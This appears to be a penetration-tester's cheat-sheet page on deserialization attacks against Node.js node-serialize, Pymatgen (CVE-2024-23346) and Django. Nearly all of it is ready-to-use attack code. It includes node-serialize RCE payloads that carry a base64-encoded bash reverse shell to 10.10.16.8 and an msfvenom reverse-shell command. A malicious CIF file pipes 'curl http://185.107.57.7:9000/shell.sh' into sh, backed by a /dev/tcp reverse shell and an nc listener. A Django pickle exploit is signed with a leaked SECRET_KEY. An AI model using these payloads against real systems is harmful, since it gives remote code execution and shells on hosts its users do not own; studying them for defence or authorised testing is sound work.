---
description: >-
  Deserialization vulnerability occurs when untrusted data is deserialized,
  allowing attackers to execute arbitrary code or manipulate the application’s
  behavior.
---

# Deserialization

<details>

<summary><mark style="color:orange;"><strong><code>nodejs</code></strong></mark></summary>

{% hint style="info" %}
* <mark style="color:purple;">Install</mark> <mark style="color:orange;">**`node-serialize`**</mark><mark style="color:purple;">:</mark>

```sh
npm install node-serialize
```

***

[<mark style="color:orange;">**`nodejsshell.py`**</mark>](https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py) <mark style="color:purple;">**Method:**</mark>

1. <mark style="color:purple;">Create the node reverse shell:</mark>

```sh
python3 nodejsshell.py 10.10.16.8 4444
```

1. <mark style="color:purple;">Once you have a serialized reverse shell, add it to this function:</mark>

{% code overflow="wrap" %}
```javascript
var y = {
  rce: function(){ADD/THE/PAYLOAD/HERE}
}
var serialize = require('node-serialize');
var s = serialize.serialize(y)
console.log("Serialized: \n" + s.slice(0,-2) + "()" + s.slice(-2,));
```
{% endcode %}

3. <mark style="color:purple;">Now serialize convert to</mark> <mark style="color:orange;">**`base64`**</mark> <mark style="color:purple;">the exploit using</mark><mark style="color:purple;">**:**</mark>

```sh
node exploit.js | tail -n +2 | base64 -w0
```

***

* <mark style="color:orange;">**`msfvenom`**</mark> <mark style="color:purple;">also has a module to generate payloads:</mark>

{% code overflow="wrap" %}
```sh
msfvenom -p nodejs/shell_reverse_tcp LHOST=10.10.14.10 LPORT=1337 -o shell.js
```
{% endcode %}

* <mark style="color:purple;">Another great tool is</mark> [<mark style="color:orange;">**`ysoserial`**</mark>](https://github.com/frohoff/ysoserial)

***

* <mark style="color:purple;">Another way is to get command execution is by using this function:</mark>

{% code overflow="wrap" %}
```javascript
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /',
function(error, stdout, stderr) { console.log(stdout) });}()"}
```
{% endcode %}

* <mark style="color:purple;">We can generate a reverse shell out of this by encoding the command first to</mark> <mark style="color:orange;">**`base64`**</mark><mark style="color:purple;">:</mark>&#x20;

```sh
echo 'bash -i >& /dev/tcp/10.10.16.8/4444 0>&1' | base64
```

* <mark style="color:purple;">Now add that string to the function like this:</mark>

{% code overflow="wrap" %}
```javascript
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi44LzQ0NDQgMD4mMQo=|base64 -d|bash',
function(error, stdout, stderr) { console.log(stdout) });}()"}
```
{% endcode %}

* <mark style="color:purple;">Now</mark> <mark style="color:orange;">**`URL`**</mark> <mark style="color:purple;">encode the payload and add it to the cookie.</mark>
{% endhint %}

</details>

<details>

<summary><mark style="color:orange;"><strong><code>Pymatgen</code></strong></mark></summary>

* <mark style="color:orange;">**`Pymatgen (Python Materials Genomics)`**</mark> <mark style="color:purple;">is an open-source Python library for materials analysis.</mark>

#### [<kbd><mark style="color:red;">`CVE-2024-23346`<mark style="color:red;"></kbd>](https://nvd.nist.gov/vuln/detail/CVE-2024-23346)

* <mark style="color:purple;">A critical security vulnerability exists in the</mark> <mark style="color:orange;">**`JonesFaithfulTransformation.from_transformation_str()`**</mark> <mark style="color:purple;">method.</mark>
* <mark style="color:purple;">This method insecurely utilizes</mark> <mark style="color:orange;">**`eval()`**</mark> <mark style="color:purple;">for processing input, enabling execution of arbitrary code when parsing untrusted input.</mark>

{% hint style="info" %}
<mark style="color:purple;">Version:</mark> <mark style="color:red;">**`prior to 2024.2.20`**</mark>
{% endhint %}

* [<kbd><mark style="color:orange;">**More info**<mark style="color:orange;"></kbd>](https://ethicalhacking.uk/cve-2024-23346-arbitrary-code-execution-in-pymatgen-via-insecure/#gsc.tab=0)

{% hint style="info" %}
<mark style="color:red;">**`Poc`**</mark>

* <mark style="color:purple;">There is a security advisory in</mark> [<kbd><mark style="color:orange;">**GitHub**<mark style="color:orange;"></kbd>](https://github.com/advisories/GHSA-vgv8-5cpj-qj2f) <mark style="color:purple;">about</mark> <mark style="color:red;">**`Arbitrary code execution`**</mark> <mark style="color:purple;">when parsing</mark> [<mark style="color:orange;">**`CIF`**</mark>](#user-content-fn-1)[^1] <mark style="color:purple;">files:</mark>

{% code title="Example" overflow="wrap" %}
```python
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution
Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( * [().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("curl http://185.107.57.7:9000/shell.sh|sh");0,0,0'
_space_group_magn.number_BNS 62.448
```
{% endcode %}

* <mark style="color:purple;">Create the reverse shell:</mark>

{% code overflow="wrap" %}
```bash
echo -ne '#!/bin/bash\n/bin/bash -c "/bin/bash -i >& /dev/tcp/185.107.57.7/9001
0>&1"' > shell.sh
```
{% endcode %}

* <mark style="color:purple;">Then start a Python web server to host our newly created payload:</mark>

```sh
sudo python3 -m http.server 9000
```

* Run the listener:

```bash
nc -lvnp 9001
```

* <mark style="color:purple;">Upload the malicious</mark> <mark style="color:orange;">**`CIF`**</mark> <mark style="color:purple;">file and view to trigger the reverse shell.</mark>
{% endhint %}

</details>

<details>

<summary><mark style="color:orange;"><strong><code>Django</code></strong></mark> <mark style="color:purple;"><strong>Deserialization</strong></mark></summary>

[<kbd><mark style="color:red;">**Documentation**<mark style="color:red;"></kbd>](https://blog.scrt.ch/2018/08/24/remote-code-execution-on-a-facebook-server/)

* <mark style="color:purple;">Identify if debug mode or error reporting is enabled.</mark>
* <mark style="color:purple;">Look for endpoints or parameters that accept serialized data.</mark>
* <mark style="color:purple;">Check error messages or debug info for</mark> <mark style="color:orange;">**`SECRET_KEY`**</mark> <mark style="color:purple;">exposure.</mark>

{% code title="Use the leaked SECRET_KEY to sign a malicious serialized object" overflow="wrap" %}
```python
from django.core import signing
import pickle

class RCE(object):
    def __reduce__(self):
        import os
        return (os.system, ('id',))

payload = signing.dumps(pickle.dumps(RCE()))
print(payload)
```
{% endcode %}

{% code title="Send the signed payload to the vulnerable endpoint" overflow="wrap" %}
```sh
curl -b "session=<payload>" http://target/vulnerable_endpoint
```
{% endcode %}

</details>

[^1]: * `CIF` files, or `Crystallographic Information Files`, are text-based files used to store crystallographic data.
    * They are widely used in materials science, chemistry, and structural biology for describing crystal structures.
